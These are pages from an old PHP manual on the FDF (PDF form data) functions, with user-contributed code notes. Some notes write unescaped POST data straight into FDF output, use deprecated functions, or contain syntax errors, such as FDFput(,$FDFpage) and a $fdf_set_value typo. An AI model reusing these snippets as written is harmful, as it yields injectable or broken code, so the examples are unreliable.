03-Aug-2002 02:30
Here is yet another example of generating pre-filled PDFs without using the FDF functions. This function takes two args: a URL to the PDF (like "http://domain.com/path/to/form.pdf" and an array with all the field's values.

/*
   WARNING!! THIS FUNCTION SENDS HTTP HEADERS! It MUST be called before
   any content is spooled to the browser, or the function will fail!

   void output_fdf (string $pdf_file, array $pdf_data)

       $pdf_file:  a string containing a URL path to a PDF file on the
                   server. This PDF MUST exist and contain fields with
                   the names referenced by $pdf_data for this function
                   to work.
       $pdf_data:  an array of any fields in $pdf_file that you want to
                   populate, of the form key=>val; where the field
                   name is the key, and the field's value is in val.

*/

function output_fdf ($pdf_file, $pdf_data) {

   $fdf = "%FDF-1.2\n%\n";
   $fdf .= "1 0 obj \n<< /FDF ";
   $fdf .= "<< /Fields [\n";

   foreach ($pdf_data as $key => $val)
       $fdf .= "<< /V ($val)/T ($key) >> \n";

   $fdf .= "]\n/F ($pdf_file) >>";
   $fdf .= ">>\nendobj\ntrailer\n<<\n";
   $fdf .= "/Root 1 0 R \n\n>>\n";
   $fdf .= "%%EOF";

   /* Now we display the FDF data which causes Acrobat to start  */

   header ("Content-Type: application/vnd.fdf");
   print $fdf;

}
noah at NOSPAMbrandfidelity dot com
09-Mar-2002 12:26
function parse($file) {
               if (!preg_match_all("/<<\s*\/V([^>]*)>>/x",
$file,$out,PREG_SET_ORDER))
                       return;
               for ($i=0;$i<count($out);$i++) {
                       $pattern = "<<.*/V\s*(.*)\s*/T\s*(.*)\s*>>";
                       $thing = $out[$i][1];
                       if (eregi($pattern,$out[$i][0],$regs)) {
                               $key = $regs[2];
                               $val = $regs[1];
                               $key = preg_replace("/^\s*\(/","",$key);
                               $key = preg_replace("/\)$/","",$key);
                               $key = preg_replace("/\\\/","",$key);
                               $val = preg_replace("/^\s*\(/","",$val);
                               $val = preg_replace("/\)$/","",$val);
                               $matches[$key] = $val;
                       }
               }
               return $matches;
       }
gregDELETETHIS at laundrymat dot tv
22-Dec-2001 07:06
Here is an easy script to output fdf data to the browser without using the fdf toolkit or creating an actual fdf file on the server.
By the way acrobat is very picky about line breaks so you must leave the "\n" in the script. The script reads the variables posted to it from a form use POST and creates a fdf file from them. The field names posted to this script must match the field names in the pdf. Acrobat will ignore any that don't match.

<?php

//path to pdf file
$url="http://www.some_url.com/form.pdf";

$values=$HTTP_POST_VARS;

$fdfdata = "%FDF-1.2\n%\n";
$fdfdata .= "1 0 obj \n<< /FDF ";
$fdfdata .= "<< /Fields [\n";

//loop that adds the field names and values
foreach($values as $key=>$val)
   {
   $fdfdata.="<< /V ($val)/T ($key) >> ";
   }

$fdfdata .= "]\n";
$fdfdata .= "/F ($url) >>";
$fdfdata .= ">>\nendobj\ntrailer\n<<\n/Root 1 0 R\n>>\n";
$fdfdata .= "%%EOF";

/*** Now we display the FDF data which causes Acrobat to start  ***/

header ("Content-Type: application/vnd.fdf");
print $fdfdata;

?>

You can use javascript in the pdf to read the values from a GET method posted directly to the pdf. you can see both methods here: http://laundrymat.tv/pdf/
joe at koontz dot net
29-Apr-2000 07:42
The simplest thing to do is get the FDF data from $HTTP_RAW_POST_DATA.  (unless you have the server library installed none of the fdf data gets parsed!) This is typical of  what you get:
%FDF-1.2
1 0 obj
<<
/FDF << /Fields [ << /V (0)/T (amount0)>> << /V (0)/T (amount1)>> << /V (0)/T (amount2)>>
<< /V (0)/T (amount3)>> << /V (0)/T (amount4)>> << /V (0)/T (amount5)>>
<< /V (0)/T (amount6)>> << /V (0)/T (amount7)>> << /V (0)/T (amount8)>>
<< /V (0)/T (amount9)>> << /V /0102 /T (chase_bk)>> << /V (0)/T (count)>>
<< /V (0)/T (invtotal)>> << /V (12/21/2000)/T (sent_ap)>> << /V /Off /T (spec_hand)>>
<< /V (041232)/T (transit_no)>> << /V (THIS FORM IS NOT COMPLETE!!!)/T (X)>>
]
/F (http://x.com/forms/AA00390q.pdf)>>
>>
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF
kill everything before the [ and then parse it down into key value pairs.
I wrote this to create an FDF, make sure you do a
header("Content-type: application/vnd.fdf");
before you echo the returned value to the user.
function FDFput(,$FDFpage)
{
 $A = "%FDF-1.2\n1 0 obj\n<< \n/FDF << /Fields [ \n";
 $C = " ] \n"    ;
     if ($FDFpage>"" ) {$C .=" /F ($FDFpage)>>\n";}
   $C .= ">>\n>> \nendobj\ntrailer\n\n<</Root 1 0 R>>\n%%EOF\n";
   $B = "";
 reset($FDFData);
 while (list($key, $val) = each($FDFData))
  {
  if (strlen(trim($val)) > 0 && is_string($key))
   {
   $B .= "<</T ($key) /V (". $val . ")>>\n";
//echo    "<</T ($key) /V (". $val . ")>>\n";
               }
  }
   return $A.$B.$C;
}

It ain't perfect - but it works. (I use HTML for posting to the server, FDF to the browser)
joe
add a note add a note

后退 | 起点 | 前进
PDO_FIREBIRD DSN | 上一级 | fdf_add_doc_javascript


fdf_add_doc_javascript

(PHP 4 >= 4.3.0, PHP 5)

fdf_add_doc_javascript -- Adds javascript code to the FDF document

Description

bool fdf_add_doc_javascript ( resource fdfdoc, string script_name, string script_code )

Adds a script to the FDF, which Acrobat then adds to the doc-level scripts of a document, once the FDF is imported into it. It is strongly suggested to use '\r' for linebreaks within script_code.

例子 1. Adding JavaScript code to a FDF

<?php
$fdf = fdf_create();
fdf_add_doc_javascript($fdf, "PlusOne", "function PlusOne(x)\r{\r  return x+1;\r}\r");
fdf_save($fdf);
?>

will create a FDF like this:

%FDF-1.2
%
1 0 obj
<<
/FDF << /JavaScript << /Doc [ (PlusOne)(function PlusOne\(x\)\r{\r  return x+1;\r}\r)] >> >>
>>
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Forms Data Format Functions | 上一级 | fdf_add_template


fdf_add_template

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

fdf_add_template -- Adds a template into the FDF document

Description

bool fdf_add_template ( resource fdfdoc, int newpage, string filename, string template, int rename )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_add_doc_javascript | 上一级 | fdf_close


fdf_close

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

fdf_close -- Close an FDF document

Description

void fdf_close ( resource fdf_document )

The fdf_close() function closes the FDF document.

See also fdf_open().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_add_template | 上一级 | fdf_create


fdf_create

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

fdf_create -- Create a new FDF document

Description

resource fdf_create ( void )

The fdf_create() creates a new FDF document. This function is needed if one would like to populate input fields in a PDF document with data.

例子 1. Populating a PDF document

<?php
$outfdf = fdf_create();
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http:/testfdf/resultlabel.pdf");
fdf_save($outfdf, "outtest.fdf");
fdf_close($outfdf);
Header("Content-type: application/vnd.fdf");
$fp = fopen("outtest.fdf", "r");
fpassthru($fp);
unlink("outtest.fdf");
?>

See also fdf_close(),
         fdf_save(),
         fdf_open().

add a note add a note User Contributed Notes
jwadhwani at pobox dot com
06-Jun-2006 11:08
For fdf_save you need to provide the complete path, such as :fdf_save($outfdf,"c:/inetpub/wwwroot/temp_sites/fdf/outtest.fdf"); and not only outtest.fdf.
Punkisdead
04-Oct-2003 03:03
<?php
$outfdf = fdf_create();
$volume = "test";
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http://localhost/webapps/volume.pdf");
Header("Content-type: application/vnd.fdf");
fdf_save($outfdf);
fdf_close($outfdf);

?>

This works for IE 5.5+

It will populate the fields and open the resulting pdf for you, without having to create an fdf file and adding the open script to the pdf...
mlarke at nanuc dot ca
11-Aug-2003 08:14
Header("Content-type: application/vnd.fdf"); simply does not work in IE. The easiest method to automatically load the fdf file is to open the 'pdf' file via php. With use of Acrobat
document -> page action -> page open -> add -> javascript
and paste the following into the pdf file:

this.importAnFDF("my_fdf_file.fdf");

This will auto-load the fdf contents
Cheers Mike
Sergei
18-Mar-2003 03:43
I thought the following might save someone a lot of time. The example fdf snippet above, namely:

<?php
$outfdf = fdf_create();
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http:/testfdf/resultlabel.pdf");
fdf_save($outfdf, "outtest.fdf");
fdf_close($outfdf);
Header("Content-type: application/vnd.fdf");
$fp = fopen("outtest.fdf", "r");
fpassthru($fp);
unlink("outtest.fdf");
?>

will not work (or there's at least a big possibility it won't) in IE (version 6 sure and I suspect lower versions as well) if you have session.auto_start on. Apparently, setting a cookie before feeding the fdf to the browser somehow messes it up. It works fine in Netscape though. I spent days on Google before I found a post somewhere about someone else having the same problem.

The solution? Well, I created a separate directory in the web tree and turned session.auto_start off just for that directory like this:

<Location /new_directory>
   php_admin_flag session.auto_start 0
</Location>

Hope this was useful to somebody.
add a note add a note

后退 | 起点 | 前进
fdf_close | 上一级 | fdf_enum_values


fdf_enum_values

(PHP 4 >= 4.3.0, PHP 5)

fdf_enum_values -- Call a user defined function for each document value

Description

bool fdf_enum_values ( resource fdfdoc, callback function [, mixed userdata] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
ceo at l-i-e dot com
11-Jul-2003 02:13
If you need something like this in a pre 4.3 version, here is a rough hack I was working on before I realized I didn't need this after all.

       preg_match('/Fields\[(.*)\]/', $raw_pdf, $field_data);
       echo "Fields: ", htmlentities($field_data[1]), "<HR>\n";
       $field_data = $field_data[1];
       $key_value = explode(">><<", $field_data);
       $key_value[0] = substr($key_value[0], 2);
       $key_value[count($key_value) - 1] = substr($key_value[count($key_value) - 1], 0, -2);
       while (list(, $kv) = each($key_value)){
               list($key, $value) = explode("/V", $kv);
               $key = substr($key, 2);
               if ($key[0] == '('){
                       $key = substr($key, 1, -1);
               }
               if ($value[0] == '/'){
                       $value = substr($value, 1);
               }
               if ($value[0] == '('){
                       $value = substr($value, 1, -1);
               }
               echo "Key: $key Value: $value<BR>\n";
       }

The $raw_pdf can either be the $HTTP_RAW_POST_DATA before you write a submitted PDF, or it can just be the raw PDF data you would read from a PDF using, say:
$raw_pdf = implode("", file("/path/to/your/fdf/whatever.pdf"));

You'll probably need to tweak this to do something more interesting than just printing the stuff.

Hmmmm.  Think they'll throw me in jail for this post?  Oh well.
add a note add a note

后退 | 起点 | 前进
fdf_create | 上一级 | fdf_errno


fdf_errno

(PHP 4 >= 4.3.0, PHP 5)

fdf_errno -- Return error code for last fdf operation

Description

int fdf_errno ( void )

fdf_errno() returns the error code set by the last FDF function call. This is zero for a successfull operation or a non-zero error code on failure. A textual description may be obtained using the fdf_error() function.

See also fdf_error().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_enum_values | 上一级 | fdf_error


fdf_error

(PHP 4 >= 4.3.0, PHP 5)

fdf_error -- Return error description for fdf error code

Description

string fdf_error ( [int error_code] )

fdf_error() returns a textual description for the fdf error code given in error_code. The function uses the internal error code set by the last operation if no error_code is given, so fdf_error() is a convenient shortcut for fdf_error(fdf_errno()).

See also fdf_errno().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_errno | 上一级 | fdf_get_ap


fdf_get_ap

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_ap -- Get the appearance of a field

Description

bool fdf_get_ap ( resource fdf_document, string field, int face, string filename )

The fdf_get_ap() function gets the appearance of a field (i.e. the value of the /AP key) and stores it in a file. The possible values of face are FDFNormalAP, FDFRolloverAP and FDFDownAP. The appearance is stored in filename.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_error | 上一级 | fdf_get_attachment


fdf_get_attachment

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_attachment -- Extracts uploaded file embedded in the FDF

Description

array fdf_get_attachment ( resource fdf_document, string fieldname, string savepath )

Extracts a file uploaded by means of the "file selection" field fieldname and stores it under savepath. savepath may be the name of a plain file or an existing directory in which the file is to be created under its original name. Any existing file under the same name will be overwritten.

注: There seems to be no other way to find out the original filename but to store the file using a directory as savepath and check for the basename it was stored under.

The returned array contains the following fields:

  • path - path were the file got stored

    size - size of the stored file in bytes

    type - mimetype if given in the FDF

例子 1. Storing an uploaded file

<?php
  $fdf = fdf_open_string($HTTP_FDF_DATA);
  $data = fdf_get_attachment($fdf, "filename", "/tmpdir");
  echo "The uploaded file is stored in $data[path]";
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_get_ap | 上一级 | fdf_get_encoding


fdf_get_encoding

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_encoding -- Get the value of the /Encoding key

Description

string fdf_get_encoding ( resource fdf_document )

The fdf_get_encoding() returns the value of the /Encoding key. An empty string is returned if the default PDFDocEncoding/Unicode scheme is used.

See also fdf_set_encoding().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_get_attachment | 上一级 | fdf_get_file


fdf_get_file

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

fdf_get_file -- Get the value of the /F key

Description

string fdf_get_file ( resource fdf_document )

The fdf_set_file() returns the value of the /F key.

See also fdf_set_file().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_get_encoding | 上一级 | fdf_get_flags


fdf_get_flags

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_flags -- Gets the flags of a field

Description

int fdf_get_flags ( resource fdfdoc, string fieldname, int whichflags )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_get_file | 上一级 | fdf_get_opt


fdf_get_opt

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_opt -- Gets a value from the opt array of a field

Description

mixed fdf_get_opt ( resource fdfdof, string fieldname [, int element] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_get_flags | 上一级 | fdf_get_status


fdf_get_status

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

fdf_get_status -- Get the value of the /STATUS key

Description

string fdf_get_status ( resource fdf_document )

The fdf_get_status() returns the value of the /STATUS key.

See also fdf_set_status().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_get_opt | 上一级 | fdf_get_value


fdf_get_value

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

fdf_get_value -- Get the value of a field

Description

mixed fdf_get_value ( resource fdf_document, string fieldname [, int which] )

The fdf_get_value() function returns the value for the requested fieldname.

Elements of an array field can be retrieved by passing the optional which, starting at zero. For non-array fields the optional parameter which will be ignored.

注: Array support and optional which parameter were added in PHP 4.3.

See also fdf_set_value().

add a note add a note User Contributed Notes
mclinden at informed dot net
18-Sep-2002 05:35
(i filed a bug report/feature request for this on bugs.php.net and assigned it to myself hartmut@php.net)

The default behavior for the FDF Toolkit is to return an FDFErcNoValue for the FDFGetValue when the field exists but has no value.

Whether or not this is truly an error is debateable. It seems to become an issue in documents created by Acrobat 5 when optional fields are included in a form with required fields since the default behavior seems to be to populate the HTTP_FDF_DATA with the results of the FDFNextFieldName enumerator, which would include the fields which have no value.

This would not be a problem except that the PHP function fdf_get_value() does not specifically test for the FDFErcNoValue condition but, instead, tests for the more general FDFErcOK. If this value is not the result of the error code, the system issues warnings (the display of which could be turned off), but the broader question is, should this be a warning condition at all?

Put another way, should a return of FDFErcNoValue for FDFGetValue be considered an event worth generating a warning?
add a note add a note

后退 | 起点 | 前进
fdf_get_status | 上一级 | fdf_get_version


fdf_get_version

(PHP 4 >= 4.3.0, PHP 5)

fdf_get_version -- Gets version number for FDF API or file

Description

string fdf_get_version ( [resource fdf_document] )

This function will return the fdf version for the given fdf_document, or the toolkit API version number if no parameter is given.

For the current FDF toolkit 5.0 the API version number is '5.0' and the document version number is either '1.2', '1.3' or '1.4'.

See also fdf_set_version().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_get_value | 上一级 | fdf_header


fdf_header

(PHP 4 >= 4.3.0, PHP 5)

fdf_header -- Sets FDF-specific output headers

Description

void fdf_header ( void )

This is a convenience function to set appropriate HTTP headers for FDF output. It sets the Content-type: to application/vnd.fdf.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_get_version | 上一级 | fdf_next_field_name


fdf_next_field_name

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

fdf_next_field_name -- Get the next field name

Description

string fdf_next_field_name ( resource fdf_document [, string fieldname] )

The fdf_next_field_name() function returns the name of the field after the field in fieldname or the field name of the first field if the second parameter is NULL.

例子 1. Detecting all fieldnames in a FDF

<?php
$fdf = fdf_open($HTTP_FDF_DATA);
for ($field = fdf_next_field_name($fdf);
    $field != "";
    $field = fdf_next_field_name($fdf, $field)) {
  echo "field: $field\n";
}
?>

See also fdf_enum_fields() and fdf_get_value().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_header | 上一级 | fdf_open_string


fdf_open_string

(PHP 4 >= 4.3.0, PHP 5)

fdf_open_string -- Read a FDF document from a string

Description

resource fdf_open_string ( string fdf_data )

The fdf_open_string() function reads form data from a string. fdf_data must contain the data as returned from a PDF form or created using fdf_create() and fdf_save_string().

You can fdf_open_string() together with $HTTP_FDF_DATA to process fdf form input from a remote client.

例子 1. Accessing the form data

<?php
$fdf = fdf_open_string($HTTP_FDF_DATA);
/* ... */
fdf_close($fdf);
?>

See also
fdf_open(),
fdf_close(),
fdf_create() and
fdf_save_string().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_next_field_name | 上一级 | fdf_open


fdf_open

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

fdf_open -- Open a FDF document

Description

resource fdf_open ( string filename )

The fdf_open() function opens a file with form data. This file must contain the data as returned from a PDF form or created using fdf_create() and fdf_save().

You can process the results of a PDF form POST request by writing the data received in $HTTP_FDF_DATA to a file and open it using fdf_open(). Starting with PHP 4.3 you can also use fdf_open_string() which handles temporary file creation and cleanup for you.

例子 1. Accessing the form data

<?php
// Save the FDF data into a temp file
$fdffp = fopen("test.fdf", "w");
fwrite($fdffp, $HTTP_FDF_DATA, strlen($HTTP_FDF_DATA));
fclose($fdffp);

// Open temp file and evaluate data
$fdf = fdf_open("test.fdf");
/* ... */
fdf_close($fdf);
?>

See also
fdf_open_string(),
fdf_close(),
fdf_create() and
fdf_save().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_open_string | 上一级 | fdf_remove_item


fdf_remove_item

(PHP 4 >= 4.3.0, PHP 5)

fdf_remove_item -- Sets target frame for form

Description

bool fdf_remove_item ( resource fdfdoc, string fieldname, int item )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_open | 上一级 | fdf_save_string


fdf_save_string

(PHP 4 >= 4.3.0, PHP 5)

fdf_save_string -- Returns the FDF document as a string

Description

string fdf_save_string ( resource fdf_document )

The fdf_save_string() function returns the FDF document as a string.

例子 1. Retrieving FDF as a string

<?php
$fdf = fdf_create();
fdf_set_value($fdf, "foo", "bar");
$str = fdf_save_string($fdf);
fdf_close($fdf);
echo $str;
?>

will output something like

%FDF-1.2
%
1 0 obj
<<
/FDF << /Fields 2 0 R >>
>>
endobj
2 0 obj
[
<< /T (foo)/V (bar)>>
]
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF

See also fdf_save(),
fdf_open_string(),
fdf_create() and
fdf_close().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_remove_item | 上一级 | fdf_save


fdf_save

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

fdf_save -- Save a FDF document

Description

bool fdf_save ( resource fdf_document [, string filename] )

The fdf_save() function saves a FDF document. The resulting FDF will be written to filename. Without a filename fdf_save() will write the FDF to the default PHP output stream.

See also fdf_save_string(),
fdf_create() and
fdf_close().

add a note add a note User Contributed Notes
karsten at k-fish dot de
12-Apr-2003 01:18
The doc says that an empty file name will cause PHP to output the FDF to 'stdout'. I had no success on this (with PHP 4.2.3 and fdftk v5): no string, an empty string and null all returned a message complaining about 'wrong parameter count'.

So I used the way (saving to a file and using passthru) given as an example on the page describing fdf_create(), and added a uniqid(rand(),1) to the filename to avoid clashes. This worked well.
add a note add a note

后退 | 起点 | 前进
fdf_save_string | 上一级 | fdf_set_ap


fdf_set_ap

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

fdf_set_ap -- Set the appearance of a field

Description

bool fdf_set_ap ( resource fdf_document, string field_name, int face, string filename, int page_number )

The fdf_set_ap() function sets the appearance of a field (i.e. the value of the /AP key). The possible values of face are FDFNormalAP, FDFRolloverAP and FDFDownAP.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_save | 上一级 | fdf_set_encoding


fdf_set_encoding

(PHP 4 >= 4.1.0, PHP 5)

fdf_set_encoding -- Sets FDF character encoding

Description

bool fdf_set_encoding ( resource fdf_document, string encoding )

fdf_set_encoding() sets the character encoding in FDF document fdf_document. encoding should be the valid encoding name. Currently the following values are supported: "Shift-JIS", "UHC", "GBK","BigFive". An empty string resets the encoding to the default PDFDocEncoding/Unicode scheme.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_set_ap | 上一级 | fdf_set_file


fdf_set_file

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

fdf_set_file -- Set PDF document to display FDF data in

Description

bool fdf_set_file ( resource fdf_document, string url [, string target_frame] )

The fdf_set_file() selects a different PDF document to display the form results in then the form it originated from. The url needs to be given as an absolute URL.

The frame to display the document in may be selected using the optional parameter target_frame or the function fdf_set_target_frame().

例子 1. Passing FDF data to a second form

<?php
  /* set content type for Adobe FDF */
  fdf_header();

  /* start new fdf */
  $fdf = fdf_create();

  /* set field "foo" to value "bar" */
  $fdf_set_value($fdf, "foo", "bar");

  /* tell client to display FDF data using "fdf_form.pdf" */
  fdf_set_file($fdf, "http://www.example.com/fdf_form.pdf");

  /* output fdf */
  fdf_save();

  /* clean up */
  fdf_close();
?>

See also fdf_get_file() and fdf_set_target_frame().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_set_encoding | 上一级 | fdf_set_flags


fdf_set_flags

(PHP 4 >= 4.0.2, PHP 5)

fdf_set_flags -- Sets a flag of a field

Description

bool fdf_set_flags ( resource fdf_document, string fieldname, int whichFlags, int newFlags )

The fdf_set_flags() sets certain flags of the given field fieldname.

See also fdf_set_opt().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_set_file | 上一级 | fdf_set_javascript_action


fdf_set_javascript_action

(PHP 4 >= 4.0.2, PHP 5)

fdf_set_javascript_action -- Sets an javascript action of a field

Description

bool fdf_set_javascript_action ( resource fdf_document, string fieldname, int trigger, string script )

fdf_set_javascript_action() sets a javascript action for the given field fieldname.

See also fdf_set_submit_form_action().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_set_flags | 上一级 | fdf_set_on_import_javascript


fdf_set_on_import_javascript

(PHP 4 >= 4.3.0, PHP 5)

fdf_set_on_import_javascript -- Adds javascript code to be executed when Acrobat opens the FDF

Description

bool fdf_set_on_import_javascript ( resource fdfdoc, string script, bool before_data_import )

警告

本函数暂无文档，仅有参数列表。

See also fdf_add_doc_javascript() 和 fdf_set_javascript_action().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_set_javascript_action | 上一级 | fdf_set_opt


fdf_set_opt

(PHP 4 >= 4.0.2, PHP 5)

fdf_set_opt -- Sets an option of a field

Description

bool fdf_set_opt ( resource fdf_document, string fieldname, int element, string str1, string str2 )

The fdf_set_opt() sets options of the given field fieldname.

See also fdf_set_flags().

add a note add a note User Contributed Notes
ceo at l-i-e dot com
29-Jul-2003 08:01
For a nice example of how this works to populate a list box dynamically, see this URL:

http://www.fooassociates.com/phpfer/html/rn20re282.html
add a note add a note

后退 | 起点 | 前进
fdf_set_on_import_javascript | 上一级 | fdf_set_status


fdf_set_status

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

fdf_set_status -- Set the value of the /STATUS key

Description

bool fdf_set_status ( resource fdf_document, string status )

The fdf_set_status() sets the value of the /STATUS key. When a client receives a FDF with a status set it will present the value in an alert box.

See also fdf_get_status().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_set_opt | 上一级 | fdf_set_submit_form_action


fdf_set_submit_form_action

(PHP 4 >= 4.0.2, PHP 5)

fdf_set_submit_form_action -- Sets a submit form action of a field

Description

bool fdf_set_submit_form_action ( resource fdf_document, string fieldname, int trigger, string script, int flags )

The fdf_set_submit_form_action() sets a submit form action for the given field fieldname.

See also fdf_set_javascript_action().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_set_status | 上一级 | fdf_set_target_frame


fdf_set_target_frame

(PHP 4 >= 4.3.0, PHP 5)

fdf_set_target_frame -- Set target frame for form display

Description

bool fdf_set_target_frame ( resource fdf_document, string frame_name )

Sets the target frame to display a result PDF defined with fdf_save_file() in.

See also fdf_save_file().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_set_submit_form_action | 上一级 | fdf_set_value


fdf_set_value

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

fdf_set_value -- Set the value of a field

Description

bool fdf_set_value ( resource fdf_document, string fieldname, mixed value [, int isName] )

The fdf_set_value() function sets the value for a field named fieldname. The value will be stored as a string unless it is an array. In this case all array elements will be stored as a value array.

注: In older versions of the fdf toolkit last parameter determined if the field value was to be converted to a PDF Name (isName = 1) or set to a PDF String (isName = 0). The value is no longer used in the current toolkit version 5.0. For compatibility reasons it is still supported as an optional parameter beginning with PHP 4.3, but ignored internally.

Support for value arrays was added in PHP 4.3.

See also fdf_get_value() and fdf_remove_item().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_set_target_frame | 上一级 | fdf_set_version


fdf_set_version

(PHP 4 >= 4.3.0, PHP 5)

fdf_set_version -- Sets version number for a FDF file

Description

bool fdf_set_version ( resource fdf_document, string version )

This function will set the fdf version for the given fdf_document. Some features supported by this extension are only available in newer fdf versions. For the current FDF toolkit 5.0 version may be either '1.2', '1.3' or '1.4'.

See also fdf_get_version().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fdf_set_value | 上一级 | FriBiDi Functions


FriBiDi Functions

PHP 手册
后退 前进

XXXIX. FriBiDi Functions

简介

FriBiDi is a free implementation of the Unicode Bidirectional Algorithm.

需求

You must download and install the FriBiDi package.

安装

本 PECL 扩展未绑定于 PHP 中。 进一步信息例如新版本，下载，源程序，维护者信息以及更新日志可以在此找到： http://pecl.php.net/package/fribidi.

In order to use these functions you must compile PHP with Fribidi support by using the --with-fribidi[=DIR] configure option.

Windows users will enable php_fribidi.dll inside of php.ini in order to use these functions. 可以从 PHP 下载页面或者 http://snaps.php.net/ 下载此 PECL 扩展的 DLL 文件。

运行时配置

资源类型

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

FRIBIDI_CHARSET_UTF8 (integer)

FRIBIDI_CHARSET_8859_6 (integer)

FRIBIDI_CHARSET_8859_8 (integer)

FRIBIDI_CHARSET_CP1255 (integer)

FRIBIDI_CHARSET_CP1256 (integer)

FRIBIDI_CHARSET_ISIRI_3342 (integer)

目录
fribidi_log2vis -- Convert a logical string to a visual one

add a note add a note User Contributed Notes
webKami [at] akdomains.com
01-Apr-2005 04:58
To kill the curosity right here....

"Bidirectional" here means the merging of langauages that read from Left to Right (English, French, Spanish etc) with some Native languages that are read from Right to Left, (Arabic, Farsi, Urdu etc).

Problem arises where L2R sub-strings are inserted in R2L string or vice versa.

Like an arabic sub-string in an enlish text. Suppose the lower case is english and upper case in urdu, a bidirectional string may look like.

i drive my CAR daily

but it should not look like this, as CAR should be from L2R in display and in selection.

i drive my RAC daily

--
If you have read this far I am sure this is the topic you are looking for.
Continue your reading here http://fribidi.sourceforge.net/
iaxhaquer at SPAMhotmail dot com
01-Oct-2002 11:56
In case anyone is curious,
Fribidi is "A Free Implementation of the Unicode Bidirectional Algorithm" information on this can be found here:
http://fribidi.sourceforge.net/
add a note add a note

后退 | 起点 | 前进
fdf_set_version | 上一级 | fribidi_log2vis


fribidi_log2vis

(PHP 4 >= 4.0.4, PECL)

fribidi_log2vis -- Convert a logical string to a visual one

Description

string fribidi_log2vis ( string str, string direction, int charset )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
socket at nomail dot com
12-Nov-2005 06:09
the charset you can use are:
   a) FRIBIDI_CHARSET_UTF8      (Unicode)
                 b) FRIBIDI_CHARSET_8859_6    (Arabic)
                 c) FRIBIDI_CHARSET_8859_8    (Hebrew)
                 d) FRIBIDI_CHARSET_CP1255    (Hebrew/Yiddish)
                 e) FRIBIDI_CHARSET_CP1256    (Arabic)
                 f) FRIBIDI_CHARSET_ISIRI_3342 (Persian)
                 g) FRIBIDI_CHARSET_CAP_RTL - Used for test purposes, will treat CAPS as non-English letetrs
jibble_1 at hotmail dot com
20-Sep-2005 02:27
